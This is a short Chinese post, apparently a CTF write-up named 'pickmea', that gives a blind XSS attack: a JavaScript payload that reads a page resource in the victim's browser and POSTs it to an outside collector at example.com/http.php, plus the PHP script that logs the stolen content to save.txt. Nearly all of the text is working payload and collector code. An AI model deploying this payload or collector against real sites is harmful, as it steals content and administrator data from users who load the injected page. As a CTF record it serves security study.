pickmea

通过xss第一次取得网页内容,然后获取到管理员账号页面进行二次盲打。js需要保留script部分其余去除。

<html><p id=\'d1\'></p>
<script>
function get(url) {
    try {
        var req = new XMLHttpRequest();
        req.open(\'GET\', url, false);
        req.send(null);
        if(req.status == 200)
            return req.responseText;
    } catch(err) {
    }
    return null;
}
function post(url,content){
    var req = new XMLHttpRequest();
    req.open("POST", url, true);
    var formData = new FormData();
    formData.append("cc", content);
    req.send(formData);
}
var role = get(\'/static/e.js;\');
post(\'http://example.com/http.php\',escape(role));
document.getElementById("d1").innerHTML=role.length;
</script></html>

http.php 获取到的内容写入save.txt

<?php
file_put_contents(\'save.txt\', $_REQUEST["cc"]."\n",FILE_APPEND);
print("ok");

来源

分类:

技术点:

相关文章:

  • 2021-10-24
  • 2022-12-23
  • 2022-12-23
  • 2021-11-27
  • 2022-12-23
  • 2022-12-23
  • 2021-12-03
猜你喜欢
  • 2022-02-21
  • 2022-12-23
  • 2022-12-23
  • 2021-08-12
  • 2021-08-29
  • 2022-02-21
  • 2021-11-06
相关资源
相似解决方案